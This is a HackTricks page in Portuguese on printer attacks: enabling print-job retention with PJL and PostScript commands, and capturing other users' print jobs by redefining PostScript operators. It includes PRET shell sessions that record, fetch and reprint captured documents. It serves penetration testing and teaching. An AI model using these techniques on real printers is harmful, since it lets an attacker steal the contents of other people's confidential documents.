8.9 KiB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Participe do grupo 💬 Discord ou do grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.
Retenção de Trabalhos de Impressão
Algumas impressoras têm trabalhos de impressão armazenados acessíveis pelo servidor web. Geralmente, no entanto, a retenção de trabalhos deve ser explicitamente ativada para um determinado trabalho de impressão e pode ser feita usando comandos PJL padrão ou código PostScript proprietário. Os trabalhos são então mantidos na memória e podem ser reimpressos a partir do painel de controle.
PJL
A retenção legítima de trabalhos pode ser habilitada para o documento atual definindo a variável PJL HOLD conforme mostrado abaixo:
@PJL SET HOLD=ON
[actual data to be printed follows]
Trabalhos em espera são mantidos na memória e podem ser reimpressos a partir do painel de controle da impressora. Esta funcionalidade é suportada por várias impressoras, no entanto, parece que apenas alguns dispositivos Epson permitem que a retenção permanente de trabalhos seja configurada usando @PJL DEFAULT HOLD=ON
.
Como testar para este ataque?
Use o comando hold
do PRET no modo pjl para verificar se a retenção permanente de trabalhos pode ser configurada:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF
PostScript
PostScript oferece funcionalidades similares que, no entanto, são específicas do modelo e do fabricante. Para a série HP LaserJet 4k e várias impressoras Kyocera, a retenção de trabalhos pode ser ativada ao adicionar os seguintes comandos no início de um documento PostScript:
<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice
Enquanto é teoricamente possível habilitar permanentemente a retenção de trabalhos PostScript usando o operador startjob , essa configuração é explicitamente redefinida pelo CUPS no início de cada trabalho de impressão usando << /Collate false >> setpagedevice
. No entanto, para contornar esse mecanismo de proteção, o atacante pode redefinir permanentemente o operador setpagedevice
para que não tenha efeito algum.
Como testar esse ataque?
Use o comando hold
do PRET no modo ps:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.
Captura de Trabalho
É possível, embora incomum, ativar a retenção de trabalho no diálogo de impressão, como discutido acima. Com PostScript, no entanto, tem-se acesso completo ao trabalho de impressão atual e, com o operador startjob, é até possível sair do loop do servidor e acessar trabalhos futuros. Tal funcionalidade tem o potencial de capturar todos os documentos se PostScript for usado como um driver de impressora.
PostScript
Com a capacidade de se conectar a operadores PostScript arbitrários, é possível manipular e acessar trabalhos de impressão de terceiros. Para analisar o fluxo de dados real enviado para a impressora, pode-se aplicar um recurso muito interessante da linguagem PostScript: ler seu próprio código de programa como dados usando o operador currentfile
. Dessa forma, todo o fluxo de dados a ser processado pelo interpretador PostScript pode ser acessado pela leitura e armazenado em um arquivo no dispositivo de impressão. Se a impressora não oferecer acesso ao sistema de arquivos, documentos capturados podem ser armazenados na memória, por exemplo, dentro de dicionários PostScript permanentes.
Um problema prático é decidir qual operador deve ser interceptado, pois não se tem acesso ao fluxo de dados até que esse operador seja processado pelo interpretador PostScript. Como o atacante deseja capturar trabalhos de impressão desde o início, o operador redefinido deve ser o primeiro operador contido no documento PostScript. Felizmente, todos os documentos impressos com CUPS têm uma estrutura fixa que começa com currentfile /ASCII85Decode filter /LZWDecode filter cvx exec
. Com base na suposição de tal estrutura fixa, o atacante pode capturar documentos desde o início e executar (ou seja, imprimir) o arquivo posteriormente. Para sistemas de impressão diferentes de CUPS, esse ataque também deve ser possível, mas os operadores precisam ser adaptados. Observe que o cabeçalho PostScript, que geralmente inclui tamanho de mídia, nomes de usuário e de trabalho, não pode ser capturado usando este método porque primeiro nos conectamos no início do documento real. Outra estratégia genérica para se conectar no início de cada trabalho de impressão é definir o parâmetro do sistema BeginPage
, se suportado pela impressora (a maioria das impressoras suporta). Essa vulnerabilidade provavelmente está presente em dispositivos de impressão há décadas, pois apenas construções de linguagem definidas pelo padrão PostScript são exploradas.
Use o comando capture
do PRET no modo ps:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture
Print job operations: capture <operation>
capture start - Record future print jobs.
capture stop - End capturing print jobs.
capture list - Show captured print jobs.
capture fetch - Save captured print jobs.
capture print - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit
Agora, imprima documentos arbitrários (certifique-se de que o PRET esteja desconectado para não bloquear o canal de impressão). Posteriormente, você pode listar, buscar ou reimprimir documentos capturados:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture: 5.0M
date size user jobname creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38 3.1M - - -
Jan 25 18:40 170K - - -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.